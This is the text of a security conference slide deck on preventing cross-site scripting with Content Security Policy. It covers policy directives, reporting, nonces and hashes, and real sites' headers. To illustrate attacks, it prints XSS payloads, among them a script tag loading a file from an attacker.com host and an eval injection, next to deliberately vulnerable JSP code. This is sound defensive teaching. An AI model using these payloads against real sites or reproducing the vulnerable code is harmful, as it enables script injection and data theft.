Preventing XSS with Content Security Policy

1 | Copyright © 2013, Cigital and/or its affiliates. All rights reserved. | Cigital Confidential Restricted.

KSENIA DMITRIEVA

Preventing XSS with Content Security Policy (CSP)


Introduction

Who am I?

• Senior Security Consultant @Cigital

• @KseniaDmitrieva

• Ballroom dancer


Content Security Policy (CSP) Agenda

Questions to answer today:

• Why do we need CSP?

• What is CSP?

• How is the policy configured

and enforced?

• How is CSP applied to existing

web applications?

• What improvements is CSP 1.1

bringing?

• More questions?


How to Protect from XSS?

Reflected Stored

DB

DOM-based


How to Protect from XSS?

Reflected Stored

DB

DOM-based


Ways to Exploit an XSS

GET http://example.com/index.html?s=<script>alert('xss');</script>

<%

String search_word = "<script>alert('xss');</script>";

%>

<p> Search results for <script>alert('xss');</script></p>

<%

String search_word = request.getParameter("s");

%>

<p> Search results for (<%= search_word %>)</p>

Injecting inline JavaScript

Vulnerable

Server-Side JSP

Code

Malicious

Request

Server

Response



GET http://example.com/index.html?s=apple<script

src="http://attacker.com/parse_page.js"/>

<%

String search_word = "apple<script src="http://attacker.com/parse_page.js"/>";

%>

<p> Search results for apple<script src="http://attacker.com/parse_page.js"/></p>

<%

String search_word = request.getParameter("s");

%>

<p> Search results for (<%= search_word %>)</p>

Injecting a third-party JavaScript

Vulnerable

Server-Side JSP

Code

Malicious

Request

Server

Response



user_input="firstname'); alert('xss";

eval("display"+"('"+"firstname'); alert('xss"+"');");

Result: display('firstname'); alert('xss');

var function_name = "display";

var user_input = document.getElementById("parameter").value;

eval(function_name+"('"+user_input+"');");

Result: display('firstname');

Injecting into eval()

Vulnerable

JavaScript

Malicious

Input

JavaScript

Result


What is Content Security Policy?

CSP defines a list of

resource directives:

• script-src

• connect-src

• font-src

• frame-src

• style-src

• img-src

• media-src

• object-src

First Name

Last Name

Address

Email

Submit

third-party

<iframe src=

"http://attacker.com/

hello.htm">

</iframe>

<script>

Inline JavaScript

</script>

<script src="https://malicioussites.com/spam.js"/>

<script src="https://jquery.org/libraries/jquery.js" />

Content Security Policy:

• Restricts ad-hoc XSS vectors such as inline scripts, third-party scripts,

iframes, CSS, and eval().

• Imposes restrictions on resources based on their origin.


Sample CSP Policies

Policy is sent by the server as an HTTP header:

Content-Security-Policy: script-src 'self' https://apis.google.com

Any malicious inline scripts or scripts hosted elsewhere will not be executed.

Can a page with the following policy load an image from

http://www.bbc.com/?

Content-Security-Policy: default-src 'self' *.mydomain.com;

img-src *

��Can a page with the following policy load a script

from http://attacker.com?

Content-Security-Policy: default-src 'self' *.mydomain.com;

img-src *; fonts-src https://themes.googleusercontent.com

XCan a page with the following policy load a CSS

from http://wordpress.org?

Content-Security-Policy: script-src 'self'; frame-src 'none';

object-src 'none'

��

Configure frame-src and object-src as well as script-src, since XSS may be

executed by injecting malicious iframes or plugins.


CSP Reporting

Report violations of the policy to the server: report-uri directive

Content-Security-Policy: default-src 'self'; report-uri

http://example.com/reporting/parser.php;

{

"csp-report": {

"document-uri": "http://example.com/page.html",

"referrer": "http://evil.example.com/",

"blocked-uri": "http://evil.example.com/evil.js",

"violated-directive": "script-src 'self' https://apis.google.com",

"original-policy": "default-src 'self'; script-src 'self' https://apis.google.com; report-uri

http://example.com/reporting/parser.php"

}

}

Sample reported JSON:

Different browsers format reports differently!


CSP Reporting and Enforcing

• Content-Security-Policy header with report-uri enforces the policy

• Content-Security-Policy-Report-Only header reports policy violations,

but does not enforce the policy

Content-Security-Policy-Report-Only: default-src 'self';

script-src 'self' https://apis.google.com;

report-uri http://example.com/reporting/parser.php

• Use both headers: one to enforce the old policy and another to test out

the new policy

Content-Security-Policy: default-src 'self' *.google.com;

Content-Security-Policy-Report-Only: default-src 'self'

*.google.com; script-src 'self' https://apis.google.com;

frame-src 'self'; report-uri

http://example.com/reporting/parser.php


Externalizing JavaScript

<!doctype html>

<html>

<head>

<title>My Page</title>

<script src="mypage.js"></script>

</head>

<body>

<button>Click me!</button>

</body>

</html>

Externalize all inline script, inline CSS, event handlers and eval() constructs.

function repeated() {...}

function repeatedTask() {

console.log('lapse');

repeated();

}

function clickHandler(e) {

setTimeout(repeatedTask, 1000);

}

function init() {...}

document.addEventListener('DOMContentLoaded',

function () {

document.querySelector('button')

.addEventListener('click', clickHandler);

init();

});

Without CSP With CSPPage.html mypage.js

<!doctype html>

<html>

<head>


<script type="text/javascript">

function repeated() { ... }

function clickHandler(element) {

setTimeout("console.log('lapse');

repeated()", 1000);

}

function init() { ... }

</script>

</head>

<body onload="init();">

<button onclick="clickHandler(this)">

Click me!

</button>

</body>

</html>


Externalizing JavaScript

<!doctype html>

<html>

<head>


<script src="mypage.js"></script>

</head>

<body>

<button>Click me!</button>

</body>

</html>

Externalize all inline script, inline CSS, event handlers and eval() constructs.

function repeated() {...}

function repeatedTask() {

console.log('lapse');

repeated();

}

function clickHandler(e) {

setTimeout(repeatedTask, 1000);

}

function init() {...}

document.addEventListener('DOMContentLoaded',

function () {

document.querySelector('button')

.addEventListener('click', clickHandler);

init();

});

With CSPPage.html mypage.js


CSP Adoption

http://blog.veracode.com/2013/11/security-headers-on-the-top-1000000-websites-november-2013-report/

CSP 1.0 is supported by the following browsers:

• Internet Explorer – partial support, requires a prefix:

X-Content-Security-Policy

• Firefox desktop 23

Firefox for Android 30

Chrome desktop 25

Chrome for Android 35

Safari desktop 7

iOS Safari 7

Opera desktop 22

• Opera Mini – no support

CSP adoption rate is slow.

Most of the CSP policies use

unsafe directives: unsafe-eval, unsafe-inline.


Real World CSP Adoption Examples

Twitter uses CSP on all their services (January 2015).

Content-Security-Policy: default-src https:; connect-src

https:; font-src https: data:; frame-src https: twitter:;

frame-ancestors https:; img-src https: data:; media-src

https:; object-src https:; script-src 'unsafe-inline' 'unsafe-

eval' https:; style-src 'unsafe-inline' https:; report-uri

https://twitter.com/i/csp_report?a=NVQWGYLXFVZXO2LGOQ%3D%3D%3D

%3D%3D%3D&ro=false;

Content-Security-Policy: default-src 'self'; connect-src

https://caps.twitter.com https://caps-staging.twitter.com

https://twitter.com/i/cards/api/ https://cards.twitter.com;

font-src https://ton.twimg.com data:; frame-src https://*;

frame-ancestors https://*; img-src https://* data:; media-src

'none'; object-src 'self'; script-src https://ton.twimg.com;

style-src 'unsafe-inline' https://ton.twimg.com; report-uri

https://twitter.com/i/csp_report?a=NVQWGYLXMNQXEZDT&ro=false;


Real World CSP Adoption Examples

Yelp uses CSP on www.yelp.com (January 2015).

Content-Security-Policy: default-src *; script-src

https://*.facebook.com http://*.facebook.com

https://*.fbcdn.net http://*.fbcdn.net *.facebook.net

*.google-analytics.com *.virtualearth.net *.google.com

127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval'

https://*.akamaihd.net http://*.akamaihd.net

*.atlassolutions.com; style-src * 'unsafe-inline'; connect-src

https://*.facebook.com http://*.facebook.com

https://*.fbcdn.net http://*.fbcdn.net *.facebook.net

*.spotilocal.com:* https://*.akamaihd.net

wss://*.facebook.com:* ws://*.facebook.com:*

http://*.akamaihd.net https://fb.scanandcleanlocal.com:*

*.atlassolutions.com http://attachment.fbsbx.com

https://attachment.fbsbx.com;


Content Security Policy 1.1

Using unsafe-eval and unsafe-inline is equal to turning the CSP off!

CSP 1.1 (or level 2) addresses the issue of broken policies:

• nonce-source directive

• hash-source directive

• policies in the <meta> tags

CSP 1.1 status: W3C Last Call Working Draft, 03 July 2014

CSP 1.1 is currently partially supported by Firefox 31 and Chrome 30

<meta name="content-security-policy" content="script-src 'self'"/>


Nonce Directive

• Add a nonce attribute to every inline script in the page

<script nonce="ZDU4eHjBDQ">

function onButtonClick()

…

</script>

• Add the nonce directive to the script-src policy

• Set a new nonce each time the page is requested

• Do not automatically add a nonce to every JavaScript in the response

• Add a nonce to inline JavaScript in the view template

Content-Security-Policy: script-src "nonce=ZDU4eHjBDQ" 'self'


Hash-source Directive

Will the nonce directive prevent DOM-based XSS in dynamically generated

JavaScript?

<script>

function onButtonClick()

…

</script>

Solution: mark every inline JavaScript with a hash!

• Directive 'hash-source' sends a hash of each inline script in the response

• The browser hashes every inline JavaScript and compares the hashes

Hash the script and add a Base64-encoded value to the CSP header:

Content-Security-Policy: default-src 'self'; script-src 'sha256-

MWUyMTJjMTc2MWZjZWQzYmY3ZDE0NGZlYmVmYzFkYmYwOTc2OTVkODFkZmNjNjk3OTFmMWJ

lYTVmNWJlYThhOA==' 'sha256-Yzg2OWMyMGI2NmZhODU2MjQ0MzBlYWVmYWQ0M2Y1ZTg5

NTljNGE3ZThjYTcyYzI5Y2EzYzJlNGYxODU4ZjM1OQ=='

X


Q&A

Resources:

• W3C Standard for CSP 1.1

http://www.w3.org/TR/CSP11/

• CSP Reference

http://content-security-policy.com/

• An Introduction to CSP by Mike West

http://www.html5rocks.com/en/tutorials/security/conten

t-security-policy/

• Making CSP Work for You by Mark Goodwin

https://www.youtube.com/watch?v=F7eCP08nacI&t=2h1

4m16s

• Automatic XSS protection with CSP by Neil Matatall

https://blog.matatall.com/2013/09/automatic-xss-

protection-with-csp-no-changes-required/

• Generating Content-Security-Policies, the easy way

http://c0nrad.io/blog/csp.html


@KseniaDmitrieva

[email protected]

Preventing XSS with Content Security Policy

Software